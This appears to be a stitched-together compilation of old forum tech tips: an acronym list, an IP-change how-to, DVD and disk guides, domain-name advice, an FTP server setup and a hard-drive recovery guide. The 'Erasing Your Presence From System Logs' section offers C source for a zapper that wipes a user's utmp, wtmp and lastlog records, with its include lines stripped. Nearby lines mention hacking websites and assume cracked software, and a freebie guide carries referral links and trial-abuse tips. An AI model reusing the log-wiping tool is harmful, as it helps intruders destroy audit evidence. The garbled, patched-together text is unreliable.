RAMDAC - Random Access Memory Digital Analog Convertor
RDRAM - Rambus Dynamic Random Access Memory
ROM - Read Only Memory
RPM - Revolutions Per Minute
--- S ---
SASID - Self-scanned Amorphous Silicon Integrated Display
SCA - SCSI Configured Automatically
SCSI - Small Computer System Interface
SDRAM - Synchronous Dynamic Random Access Memory
SECC - Single Edge Contact Connector
SODIMM - Small Outline Dual Inline Memory Module
SPARC - Scalable Processor ArChitecture
SOHO - Small Office Home Office
SRAM - Static Random Access Memory
SSE - Streaming SIMD Extensions
SVGA - Super Video Graphics Array
S/PDIF - Sony/Philips Digital Interface
--- T ---
TB - Terabytes
TBps - Terabytes per second
Tbps - Terabits per second
TDK - TDK Electronics
TEC - Thermoelectric Cooler
TPC - TipidPC
TWAIN - Technology Without An Important Name
--- U ---
UART - Universal Asynchronous Receiver/Transmitter
USB - Universal Serial Bus
UTP - Unshieled Twisted Pair
--- V ---
VCD - Video CD
VPN - Virtual Private Network
--- W ---
WAN - Wide Area Network
WTB - Want to Buy
WYSIWYG - What You See Is What You Get
--- X ---
XGA - Extended Graphics Array
XFX - XFX Graphics, a Division of Pine
XMS - Extended Memory Specification
XT - Extended Technology
How To: Change Your Ip In Less Then 1 Minute
1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok
You should now be at an MSDOS prompt screen.....
4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"
You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.
8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again
You should now be back to the "Local Area Connection" screen.
15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address
With a little practice, you can easily get this process down to 15 seconds.
P.S:
This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back
Dvd Copying/ripping Definitions
Rip
To take off the audio or video from a CD or DVD. Often CD Audio is "ripped" to MP3 files or DVD video ripped to VOB files...
Compression
The process of removing redundancies in digital data to reduce the amount that must be stored or transmitted. Lossless compression removes only enough redundancy so that the original data can be recreated exactly as it was. Lossy compression sacrifices additional data to achieve greater compression.
Encoding
Encoding is the process of changing data from one form into another according to a set of rules specifiec by a codec. The data is usually a file containing audio, video or still image. Often the encoding is done to make a file compatible with specific hardware (such as a DVD Player) or to compress or reduce the space the data occupies.
Common video encoding methods are DivX, MPEG-1, MPEG-2 and MPEG-4. A common audio encoding method is MP3 although many others exist including MPEG1 audio, DTS, and Dolby Digital.
Transcoding
On this site generally another name for encoding.
A more technical term would be "The reformatting of content, without changing the source, to another type of content - most often of a different format than the original (but does not have to be)"
Erasing Your Presence From System Logs
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.....
Example:
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
Keep try it. ok
Guide For Getting Free Stuff
Ok, if you are like me you have heard so much about the FreeIpods and FreeFlatScreens websites on different forums, blogs, IM's, etc, you are about to puke. So am I. But yet the draw of getting an Ipod for doing basically nothing is pretty strong. I dismissed all the "stories" of people getting their ipods as the marketing machine at work. However, when Kevin Rose published that not only did he receive his, but a few of his friends did as well, I figured I might take a chance and give it a go. Today I received proof that it does indeed work. Yep, I got my iPod....
Whats in it for them?
Step 1. Collect Names.
Step 2. Send those names items worth $200 or more
Step 3. ?????
Step 4. Profit
Before I signed up, I wanted to get to the bottom of the ?????. I didn't want any sweaty, filth pushing webmonkeys to have all my info, so I did my research. Gratis Internet, the parent company of the FreeIpods, FreeFlatscreens, etc. sites, recently did an interview with Wired Magazine.
In this article Gratis states that they are acting as Head Hunters for companies (more on that later) and are paid between $50-$90 per referral. Although this seems like a lot of money, this is nothing compared to what these companies spend for print advertising which does not guarentee ANY customers. So now we know what ?????? equals. ??????=$50-$90 for Gratis per guranteed customer (referral sites).
How Does it Work?
You sign-up on one (or more) of the following websites:
http://www.FreeMiniMacs.com/?r=14098976
This site gives away free Mini Macs. At the time of this writing only the 80gb MiniMac was available.
http://www.FreeDesktopPC.com/?r=13082204
This site gives away free flat screen monitors and TVs. At the time of this writing the following flat screens were available: Sony 19" LCD, Samsung 15" SyncMaster 510MP LCD TV, Samsung SyncMaster 710N LCD Monitor, Sony 27" FD Trinitron WEGA TV, or a 24" Toshiba TV/VCR/DVD combo
http://www.FreeGamingSystems.com/?r=12660654
This site gives away gaming systems. At the time of this writing the Slim PS2, Xbox, Nintendo Gamecube, and Nintendo DS were available.
http://www.FreeHandbags.com/?r=13950244
This site gives away high-end handbags. Might be a good surprise for your wife or girlfriend. =) At the time of this writing the following bags were available: Prada Mini-Hobo (black, Pink, Powder Blue), Burberry Novacheck Minisling, Coach Signature Demi Pouch (black, camel, purple), Kate Spade Pia Pochette (Black, Pink, Red)
http://www.mp3players4free.com/default.aspx?r=82419
This site gives out free mp3 players. You can get paypal $275, ipod, rio carbon, iriver, ipod mini.
http://www.dvrs4free.com/default.aspx?r=90581
This site gives away TiVo, Replay TV, and $275 paypal.
http://www.macminis4free.com/default.aspx?r=181183
Another mini mac site.
http://www.cameras4free.com/default.aspx?r=90773
This site is giving away high end digital cameras. At the the time of writing this, you follow cams are available: Canon Powershot S1 IS, Sony DSC-P100, Sony DSC-W1, Canon Powershot A95, $325 paypal.
Ok, so here is the tricky part. Once you sign up with one of these websites, you have to complete an "offer" from gratis's advertisers. There are numberous offers, some being better than others. Now remember the ???? = $50 - $90 equation? In order for you to receive your ipod/Flatscreen/Desktop PC/Handbag you have to refer 5, 8, or 10 of your friends, and they have to complete one of the offers as well. Then in order for them to receive theirs they need to refer others, and so on. So lets just look at why they are going to send an Ipod to you. (1(you) + 5(your friends)) x $90 = $540 - $250(ipod) = $290 profit for them just for you signing up. The advertisers are more than willing to pay, and FreeIpods is more than happy to send you your ipod. Works out for everyone.
What is the basic "lingo"?
"ref"/"referral" = The thing required to get your free items. These are your friends.
"green" = Status indicator that means your offer has been completed.
"yellow" = Status indicator that means your offer has yet to be completed or is in the process/pending.
"hold" = Means your account has been suspended or stopped. DON'T CHEAT.
"STV" = Means your product has been "Shipped To Vendor" You should recieve it in about 10 days time.
What process should you use to sign up (to ensure that you will get your item)
When signing up, it is recommended that you use Internet Explorer (sucks) some people have reported problems using other browsers (ex. Firefox, opera, etc.) Also make sure you have cookies accepted.
1. Click on one of the links above and enter a VALID US mailing address.
2. Complete the marketing survey - not your answers do not have any impact on you receiving your item. Just say no to them.
3. Once you have signed up, you should receive a verification email. If you did not receive one, go to the "My Account" page and click the link to have them resend it. If you still did not get it check your spam folder.
4. Sign-up with one of their partners and complete the offer. (see the section which offer should I choose) It can take up to 15 days for your offer to show completed. (A term that we freebie goers use for a "completed offer" is called "credit.") But usually they show completed after 24 hours. Be patient. If it doesn't show up as completed, you can email the site with proof and confirmation for signing up and they will give you credit.
Which offer should I choose?
Just so you know all offers require a credit card, **HOWEVER** not all of them cost anything! =) Here is a list of my recommended offers and I have not had any problems whatsover with doing these.
* Video Professor: This requires a credit card and pay only $3 shipping for computer tutorial CDs. After you receive the CDs, just call customer support and cancel your membership. Return to sender the CDs and they will refund you the shipping costs.
* Complete Home: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Lowes Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Buyer's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Circuit City Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Great Fun: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Walkie Talkie just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Traveler's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Thin Digital Camera just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* eFax Plus: Sign up for their fax service. You get a 30 day free trial. Upon receiving credit for doing the offer, simply cancel the service within the free trial and pay nothing! It usually take 1-3 days to receive credit for this offer.
* Blockbuster Online: Try a two week trial of Blockbuster's Netflix-like service. Cancel online within trial time and pay nothing.
*Zooba: If you are a book fan, sign up for this offer. You get a book for $10 with free shipping. Instant verification.
*Various Credit Card offers: Apply for a credit card and get approved. When it arrives, cut it up and toss it out. Nothing to cancel, nothing to pay, and free stuff to gain!
Many of these offers are big companies, so you do not have to question the legitimacy for signing up under them. In other words, you will be safe because you are giving your credit card information to aol, blockbuster, and general motors, and i highly doubt that they will sell this info.
These are free, as long as you cancel within the trial period. Some offer online cancellations while others require calling their support number. Just tell them that you dont find yourself using their services enough so you want to cancel and they'll cancel your membership without any problems.
Cheating
Many of these free sites take cheating very seriously. If you want your free gift and not have you account suspended, simply DON'T CHEAT! Don't refer yourself and do all the offers yourself. If you think you can cheat the system because you are a 1337 h4x0r and you can use proxies and IP spoofs to refer yourself, DON'T DO IT. When you are in the approval stage, they will intensely throughly examine your account and make sure that all your referrels are legit and unique. Trust me, I know many people who have gotten suspended for attempting to cheat.
Multiple Accounts
This goes under cheating. It is wise not to create multiple accounts under the same site because it is against the free site's TOS. They suspend you no matter what your reason is, even if it was an accident. This also includes referring family members. You can only create one account under one household, under one IP address per site. So you cannot refer mother, sister, or brother to do it unless they live in another household.
So you've ran out of offers to do. What do I do?
Ok, if you are a freebie freak, you will probably eventually run out of offers to do because of the fact that you signed up for so many free sites did all the easy free offers. What shoud you do? Remember that free sites give you credit for a unique signup for the offers. So if you signed up for blockbuster online offer at freeflatscreens, you cannot do it again for another free site such as freedesktoppc. But there is a trick to this. A unique signup = a unique credit card that you used to sign up. So if you have a another credit card, you can sign up for the offer again. Another method is to purchase a visa gift card from your mall, or go to www.webcertificate.com and purchase a virtual debit/credit card and do the offers with those.
If you followed all these steps correctly, your free gift will be delivered to your doorstep in no time.
Here are the steps:
1. Getting friends to sign up under you
2. Approval Stage: They will analyze your account for fraud. Takes 1 week.
3. Pending Stage: Your account have been approved. You are now processing. This will take 1-2 weeks.
4. STV: Sent to Vendor. Your product will arrive in 10 days.
5. Shipped: Congrats!
Most of these freebie sites are for U.S residents only.
How to Convert in to Basic and Dynamic Disk into XP
Windows XP Professional supports two types of disk storage: basic and dynamic. Basic disk storage uses partition-oriented disks. A basic disk contains basic volumes (primary partitions, extended partitions, and logical drives)....
Dynamic disk storage uses volume-oriented disks, and includes features that basic disks do not, such as the ability to create volumes that span multiple disks (spanned and striped volumes).
General Notes
Before you change a basic disk to a dynamic disk, note these items:
You must have at least 1 megabyte (MB) of free space on any master boot record (MBR) disk that you want to convert. This space is automatically reserved when the partition or volume is created in Microsoft Windows 2000 or Windows XP Professional. However, it may not be available on partitions or volumes that are created in other operating systems.
When you convert to a dynamic disk, the existing partitions or logical drives on the basic disk are converted to simple volumes on the dynamic disk.
After you convert to a dynamic disk, the dynamic volumes cannot be changed back to partitions. You must first delete all dynamic volumes on the disk, and then convert the dynamic disk back to a basic disk. If you want to keep your data, you must first back up or move the data to another volume.
After you convert to a dynamic disk, local access to the dynamic disk is limited to Windows XP Professional and Windows 2000.
If your disk contains multiple installations of Windows XP Professional or Windows 2000, do not convert to a dynamic disk. The conversion operation removes partition entries for all partitions on the disk with the exception of the system and boot volumes for the current operating system.
Dynamic disks are not supported on portable computers or Microsoft Windows XP Home Edition.
Before you change a dynamic disk back to a basic disk, note that all existing volumes must be deleted from the disk before you can convert it back to a basic disk. If you want to keep your data, back up the data, or move your data to another volume.
How to Convert a Basic Disk to a Dynamic Disk
To convert a basic disk to a dynamic disk:
1) Log on as Administrator or as a member of the Administrators group.
2) Click Start, and then click Control Panel.
3) Click Performance and Maintenance, click Administrative Tools, and then double-click Computer Management.
4) In the left pane, click Disk Management.
5) In the lower-right pane, right-click the basic disk that you want to convert, and then click Convert to Dynamic Disk.
NOTE:You must right-click the gray area that contains the disk title on the left side of the Details pane. For example, right-click Disk 0.
6) Select the check box that is next to the disk that you want to convert (if it is not already selected), and then clickOK.
7) Click Details if you want to view the list of volumes in the disk.
8) Click Convert.
9) Click Yes when you are prompted to convert, and then click OK.
How to Convert a Dynamic Disk to a Basic Disk
To change a dynamic disk back to a basic disk:
1) Back up all the data on all the volumes on the disk you want to convert to a basic disk.
2) Log on as Administrator or as a member of the Administrators group.
3) Click Start, and then click Control Panel.
4) Click Performance and Maintenance, click Administrative Tools, and then double-click Computer Management.
5) In the left pane, click Disk Management.
6) Right-click a volume on the dynamic disk that you want to change to a basic disk, and then click Delete Volume.
7) Click Yes when you are prompted to delete the volume.
8) Repeat steps 4 and 5 for each volume on the dynamic disk.
9) After you have deleted all the volumes on the dynamic disk, right-click the dynamic disk that you want to change to a basic disk, and then click Convert to Basic Disk.
NOTE:You must right-click the gray area that contains the disk title on the left side of the Details pane. For example, right-click Disk 1.
Choosing A Good Domain Name
Choosing a domain name for your site is one of the most important steps towards creating the perfect internet presence. If you run an on-line business, picking a name that will be marketable and achieve success in search engine placement is paramount. Many factors must be considered when choosing a good domain name. This article summarizes all the different things to consider before making that final registration step!...
Short and Sweet
Domain names can be really long or really short (1 - 67 characters). In general, it is far better to choose a domain name that is short in length. The shorter your domain name, the easier it will be for people remember. Remembering a domain name is very important from a marketability perspective. As visitors reach your site and enjoy using it, they will likely tell people about it. And those people may tell others, etc. As with any business, word of mouth is the most powerful marketing tool to drive traffic to your site (and it's free too!). If your site is long and difficult to pronounce, people will not remember the name of the site and unless they bookmark the link, they may never return.
Consider Alternatives
Unless a visitor reaches your site through a bookmark or a link from another site, they have typed in your domain name. Most people on the internet are terrible typists and misspell words constantly. If your domain name is easy to misspell, you should think about alternate domain names to purchase. For example, if your site will be called "MikesTools.com", you should also consider buying "MikeTools.com" and "MikeTool.com". You should also secure the different top level domain names besides the one you will use for marketing purposes ("MikesTools.net", "MikesTools.org", etc.) You should also check to see if there are existing sites based on the misspelled version of the domain name you are considering. "MikesTools.com" may be available, but "MikesTool.com" may be home to a graphic pornography site. You would hate for a visitor to walk away thinking you were hosting something they did not expect.
Also consider domain names that may not include the name of your company, but rather what your company provides. For example, if the name of your company is Mike's Tools, you may want to consider domain names that target what you sell. For example: "buyhammers.com" or "hammer-and-nail.com". Even though these example alternative domain names do not include the name of your company, it provides an avenue for visitors from your target markets. Remember that you can own multiple domain names, all of which can point to a single domain. For example, you could register "buyhammers.com", "hammer-and-nail.com", and "mikestools.com" and have "buyhammers.com" and "hammer-and-nail.com" point to "mikestools.com".
Hyphens: Your Friend and Enemy
Domain name availability has become more and more scant over the years. Many single word domain names have been scooped up which it makes it more and more difficult to find a domain name that you like and is available. When selecting a domain name, you have the option of including hyphens as part of the name. Hyphens help because it allows you to clearly separate multiple words in a domain name, making it less likely that a person will accidentally misspell the name. For example, people are more likely to misspell "domainnamecenter.com" than they are "domain-name-center.com". Having words crunched together makes it hard on the eyes, increasing the likelihood of a misspelling. On the other hand, hyphens make your domain name longer. The longer the domain name, the easier it is for people to forget it altogether. Also, if someone recommends a site to someone else, they may forget to mention that each word in the domain name is separated by a hyphen. If do you choose to leverage hyphens, limit the number of words between the hyphens to three. Another advantage to using hyphens is that search engines are able to pick up each unique word in the domain name as key words, thus helping to make your site more visible in search engine results.
Dot What?
There are many top level domain names available today including .com, .net, .org, and .biz. In most cases, the more unusual the top level domain, the more available domain names are available. However, the .com top level domain is far and away the most commonly used domain on the internet, driven by the fact that it was the first domain extension put to use commercially and has received incredible media attention. If you cannot lay your hands on a .com domain name, look for a .net domain name, which is the second most commercially popular domain name extension.
Long Arm of the Law
Be very careful not to register domain names that include trademarked names. Although internet domain name law disputes are tricky and have few cases in existence, the risk of a legal battle is not a risk worth taking. Even if you believe your domain name is untouchable by a business that has trademarked a name, do not take the chance: the cost of litigation is extremely high and unless you have deep pockets you will not likely have the resources to defend yourself in a court of law. Even stay away from domain names in which part of the name is trademarked: the risks are the same.
Search Engines and Directories
All search engines and directories are different. Each has a unique process for being part of the results or directory listing and each has a different way of sorting and listing domain names. Search engines and directories are the most important on-line marketing channel, so consider how your domain name choice affects site placement before you register the domain. Most directories simply list links to home pages in alphabetical order. If possible, choose a domain name with a letter of the alphabet near the beginning ("a" or "b"). For example, "aardvark-pest-control.com" will come way above "joes-pest-control.com". However, check the directories before you choose a domain name. You may find that the directories you would like be in are already cluttered with domain names beginning with the letter "a". Search engines scan websites and sort results based on key words. Key words are words that a person visiting a search engine actually search on. Having key words as part of your domain name can help you get better results.
Configuring your Bulletproof FTP Server Tutorial
I am not sure where I found this tutorial, It’s been a while…It might even have been here... ..So if it is one of yours, my hat goes off to you once again....
After reading the excellent tutorial on "Creating an FTP" that Norway posted…
(I would suggest reading and following his tutorial first, then following up with this one)
I thought that perhaps this tutorial might be pretty helpful for those interested in knowing how to configure their Bulletproof FTP Server that don't already know how... Here's how to get started…
This is for the BulletProof FTP Server 2.10. However, It should work fine on most following versions as well.
I'm assuming you have it installed and cracked.
Basics
1. Start the program.
2. Click on Setup > Main > General from the pull-down menu.
3. Enter your server name into the 'Server Name' box. Under Connection set the “Max number of users" to any number. This is the limit as to how many users can be on your sever at any time.
4. Click on the 'options' tab of that same panel (on the side)
5. Look at the bottom, under IP Options. Put a check in the box “Refuse Multiple Connections from the same IP”. This will prevent one person from blocking your FTP to others.
6. Also put a check in the 'Blocked Banned IP (instead of notifying client). VERY IMPORTANT! If somebody decides to 'Hammer' (attempt to login numerous times VERY quickly) your server/computer may CRASH if you don't enable this.
7. Click on the 'advanced' tab
8. At the bottom again look at the 'hammering area'
9. Enable 'anti-hammer' and 'do not reply to people hammering' Set it for the following: Block IP 120 min if 5 connections in 60 sec. You can set this at whatever you want to but that is pretty much a standard Click 'OK'
Adding Users
11. Setup > User accounts form pull-down.
12. Right click in the empty 'User Accounts' area on the right: choose 'Add'
13. Enter account name. (ie: logon name)
14. In the 'Access rights' box right click: choose ‘Add’.
15. Browse until you find the directory (folder) you want to share. In the right column you will see a bunch of checkboxes. Put a check in the following ones: Read, Write, Append, Make, List, and +Subdirs. Press 'select'.
16. Enter a password for your new FTP account.
17. Click on 'Miscellaneous' in the left column. Make sure 'Enable Account' is selected. Enable 'Max Number of Users' set it at a number other than zero. 1 for a personal account and more that one for a group account. Enable 'Max. no. of connects per IP' set it at 1
18. Under 'Files' enable 'show relative path' this is a security issue. A FTP client will now not be able to see the ENTIRE path of the FTP. It will only see the path from the main directory. Hide hidden flies as well.
Put a tick in both of these.
Advanced:
You don't need to do any of this stuff, but It will help tweak your server and help you maintain order on it. All of the following will be broken down into small little areas that will tell you how to do one thing at a time.
Changing the Port
The default port is always 21, but you can change this. Many ISPs will routinely do a scan of its own users to find a ftp server, also when people scan for pubs they may scan your IP, thus finding your ftp server. If you do decide to change it many suggest that you make the port over 10,000.
1. Setup > Main > General
2. In the 'Connection' Area is a setting labeled 'Listen on Port Number:'
3. Make it any number you want. That will be your port number.
4. Click 'OK'
Making an 'Upload Only' or 'Download Only' ftp server.
This is for the entire SERVER, not just a user.
1. Setup > Main > Advanced
2. In the advanced window you will have the following options: uploads and downloads, downloads only, and uploads only. By default upload and download will be checked. Change it to whatever you want.
3. Click 'OK’
While you are running your server, usually you will end up spending more time at your computer than you normally do. Don't be afraid to ban IP's. Remember, on your FTP you do as you want.
When you are online you must also select the open server button next to the on-line button which is the on-line Button
You also have to use the actual Numbered ip Address ie: 66.250.216.67
Or even Better yet, get a no-ip.com address
Hard drive gone bad
The most common problems originate
from corruption of the master boot record, FAT, or directory.
Those are soft problems which can usually be taken care of
with a combination of tools like Fdisk /mbr to refresh the
master boot record followed by a reboot and Norton disk doctor
or Spinneret....
The most common hardware problems are a bad controller, a bad
drive motor, or a bad head mechanism.
1. Can the BIOS see and identify the hard drive correctly? If
it can't, then the hard drives onboard controller is bad.
2. Does the drive spin and maintain a constant velocity? If it
does, that's good news. The motor is functioning.
3. If the drive surges and dies, the most likely cause is a
bad controller (assuming the drive is cool). A gate allowing
the current to drive the motor may not be staying open. The
drive needs a new controller.
4. Do you hear a lot of head clatter when the machine is
turned on and initialized (but before the system attempts to
access the hard drive). Head clatter would indicate that the
spindle bearings are sloppy or worn badly. Maybe even lose and
flopping around inside.
5. There is always the possibility that the controller you are
using in the machine has gone south.
1. If the drive spins, try booting to the A> prompt, run Fdisk
and check to see if Fdisk can see a partition on the hard
drive. If Fdisk can see the partition, that means that it can
access the drive and that the controller electronics are
functioning correctly. If there is no head clatter, it may be
just a matter of disk corruption which commonly occurs when a
surge hits you machine and overwhelms the power supply voltage
regulator. It commonly over whelms the system electronics
allowing an EM pulse to wipe out the master boot record, file
allocations table, and primary directory. Fdisk can fix the
master boot record and Norton Disk Doctor can restore the FAT
and Directory from the secondaries.
2. The drive spins but Fdisk can't see it. Try the drive in
another system and repeat the test to confirm that Fdisk can't
read through the drives onboard controller. If it sees it in
another system, then your machines hard drive interface is
bad. You can try an upgraded or replacement controller card
like a Promise or CMD Technologies (there are others) in you
machine after disabling the integrated controller in the BIOS,
but if the integrated controller went south, it may just be
symptomatic of further failures and you'd be wise to replace
the motherboard. Trying the drive in another machine also
eliminates the variable that your machines 12 volt power
output being bad
3. If you get head clatter but a constant velocity on the
drive motor (no surging), you might try sticking the hard
drive in the freezer for about 12 hours. This is an old trick
from back in the days of the MFM/ESDI driver era. This can
cause the drive components to shrink enough to make the track
marker align with the tracks. We don't see that kind of
platter spindle wear much anymore, but back in the old days,
the balancing and bearings weren't as good. Still, under the
right circumstances, it might help. It would depend on how old
the drive is and how many hours of wear have occurred. You
have to be quick to get your info off the drive when it works.
Back then, the drives were much smaller, so there wasn't so
much to copy. So, go after the important data first.
4. The drive doesn't spin. Either the onboard controller is
bad or the motor is bad (assuming you did try the drive in
another machine). It's time to hit the net and local
independent shops to see if you can locate another drive of
the same make and model that's good. Since the drive is
probably an older drive and no longer in distribution, your
best bet is to find an identical used drive. If you know
someone with the same make and model, you might be wise to try
and persuade them to sell you their drive with an offer of
providing them with a free upgraded drive. If you can locate
an identical drive, start with the controller replacement ...
this is the simplest and least invasive. If swapping the
controller doesn't produce the desire result, you can tear
into the drive and swap the motors. While you have both drive
opened up to accomplish this, scrutinize the platters, heads
and armatures. You might even hook the drive up and power it
from a system with both drives attached. This way, you could
see anything that deviates between the actions of both drives
when they are initialized. Swapping patters is unlikely to
produce any positive result. They are a balanced system like
the tires on your car and I suspect that the balance will be
different for each drive as will other variables.
5. There's always Ontrack Corp. who will attempt to recoup
your info starting at $500 and going up from there. They don't
fix and return the drive either.
If the info is all that important to you, I would seek some
professional and experience technician in your locality who
makes his living from servicing and building computer systems
... not just selling them. If you have had much experience
salvaging information from bad hard drives, your likelihood of
success is low. In the case of soft corruption, all utilities
have their eccentricities. Often times, Norton Disk Doctor
will go too far (if you let it). It's wise to just let those
utilities small steps and then have a look at the drive and
see if you can copy it off. Norton will go so far as to rename
directories and files, and even delete them or break them up
into fragments which are useless.
Getting Older programs to Run on Windows XP
Most programs run properly on Windows XP. The exceptions are some older games and other programs that were written specifically for an earlier version of Windows. To run your program on Windows XP, you can try the following, Run the Program Compatibility Wizard. As an alternative, you can set the compatibility properties manually. Update your program, drivers, or hardware. These options are covered in detail below.....
The Program Compatibility Wizard
This wizard prompts you to test your program in different modes (environments) and with various settings. For example, if the program was originally designed to run on Windows 95, set the compatibility mode to Windows 95 and try running your program again. If successful, the program will start in that mode each time. The wizard also allows you to try different settings, such as switching the display to 256 colors and the screen resolution to 640 x 480 pixels. If compatibility problems prevent you from installing a program on Windows XP, run the Program Compatibility Wizard on the setup file for the program. The file may be called Setup.exe or something similar, and is probably located on the Installation disc for the program. To run the Program Compatibility Wizard click Start, click Help and Support, click Find compatible hardware and software for Windows XP, and then, under See Also in the navigation pane, click "Program Compatibility Wizard."
Set the compatibility properties manually
As an alternative to running the Program Compatibility Wizard, you can set the compatibility properties for a program manually. The settings are the same as the options in the Program Compatibility Wizard. To set the compatibility properties for a program manually Right-click the program icon on your desktop or the shortcut on the Start menu for the program you want to run, and then click Properties. Click the Compatibility tab, and change the compatibility settings for your program.
The Compatibility tab is only available for programs installed on your hard drive. Although you can run the Program Compatibility Wizard on programs or setup files on a CD-ROM or floppy disk, your changes will not remain in effect after you close the program. For more information about an option on the Compatibility tab, right-click the option and then click "What's This."
Update your program or drivers
If your program does not run correctly after testing it with the Program Compatibility Wizard, check the Web for updates or other fixes, as follows:
Check the Web site of the program's manufacturer to see if an update or patch is available.
Check Windows Update to see if a fix is available for the program.
Click Home on the menu bar of Help and Support Center, then click Windows Update in the right pane.
If the program is a game that uses DirectX, ensure that you are using the latest version of DirectX. In addition, check the Web site of the manufacturer of your video card or sound card to see if newer drivers are available for either of them.
Get the Most Out of Your DVD Recorder
Get the Most Out of Your DVD Recorder
Assoc. Ed. PC World
Melissa J. Perenson
I admit it: I'm a former tape-a-holic. When I began using a VCR some 20 years ago (I ended up teaching Mom and Dad how to program the darn thing back then), I got hooked on the idea of creating my own video library, replete with everything from "Star Trek" episodes to gymnastics competitions....
Recently, however, I stopped recording video on tape and switched to DVD--and I haven't looked back. But after using several DVD recorders, I've identified some quirks and frustrations that are specific to frequent users like myself. Recording to DVD is very different from recording to tape; you encounter new types of hassles ranging from pesky so-called disc preparation times to annoying delays in ejecting discs and the challenge of creating visually appealing menus. The tips that follow are geared towards hardcore videophiles (you know who you are), but they're also applicable to the most casual user.
1. Choosing the Best Recorder for TV
If you've already bought your DVD recorder, skip to tip 2. But if you haven't, be prepared to be confused by a torrent of acronyms and options. DVD+R, DVD+RW, DVD-R, DVD-RW, DVD-RAM, EPGs ... and you thought buying an HDTV would be confusing.
When you walk into a store, chances are you won't be able to tell the differences between the slim DVD recorders gracing the shelves--at least, not at a glance. On the outside, they look virtually identical. And the only additional information you might get from the price tag or label is what format the recorder supports and whether it has a hard drive.
Don't stress so much about the formats. No single manufacturer supports all of the formats available; a couple of makers come close (Lite-On, Sony), supporting all but DVD-RAM. The - and + formats are quite similar, and either will get the recording job done.
I've personally observed that the - format discs tend to take longer to initialize and finalize. By longer, I'm talking about anywhere from 5 to 120 seconds, depending upon the unit--enough to be incredibly annoying when you're sitting in front of the TV, your finger eagerly hovering over the record button to start a recording, or the eject button so you can swap discs without missing any action.
If your goal is to record a lot of TV shows, then I can't recommend highly enough a DVD recorder with integrated TiVo service. Humax, Pioneer, and Toshiba all offer such recorders, which combine a hard drive of 80GB or greater with a DVD burner, and, of course, the TiVo service. The full-blown TiVo service costs extra ($299 for the lifetime of the unit, on top of the cost of the recorder) and adds two-week's worth of program guides, a season-pass feature that records all episodes of a show so you never miss your favorites, and artificial intelligence that finds and records programs you might enjoy. (A free limited version of TiVo's software that downloads electronic programming information for the next three days is integrated into these units at no added cost.)
I don't make this recommendation just because of TiVo's personalized recording features and friendly graphical interface. The reason I suggest going this route is that these recorders have an amazing capacity to automatically create navigational menus. All of the program data in TiVo's electronic program guide--as well as TiVo's visual menu navigation structure--conveniently transfers over to any disc you burn.
DVD recorders are typically limited in what they can do to label menus. When you record a disc, you end up with a generically labeled index, with thumbnails for each recording or "title" on the disc, and boring and uninformative labels like "Title 01" (with, perhaps, the time and date added for good measure). TiVo-enabled recorders, in contrast, provide disc menus with the series name, episode title, and even a program summary as well as the date and time of the recording. If you're recording to cheap write-once media, this feature is invaluable. If you're recording to rewritable media--which means you could conceivably edit the menu titles at some point--this capability is still a huge time-saver.
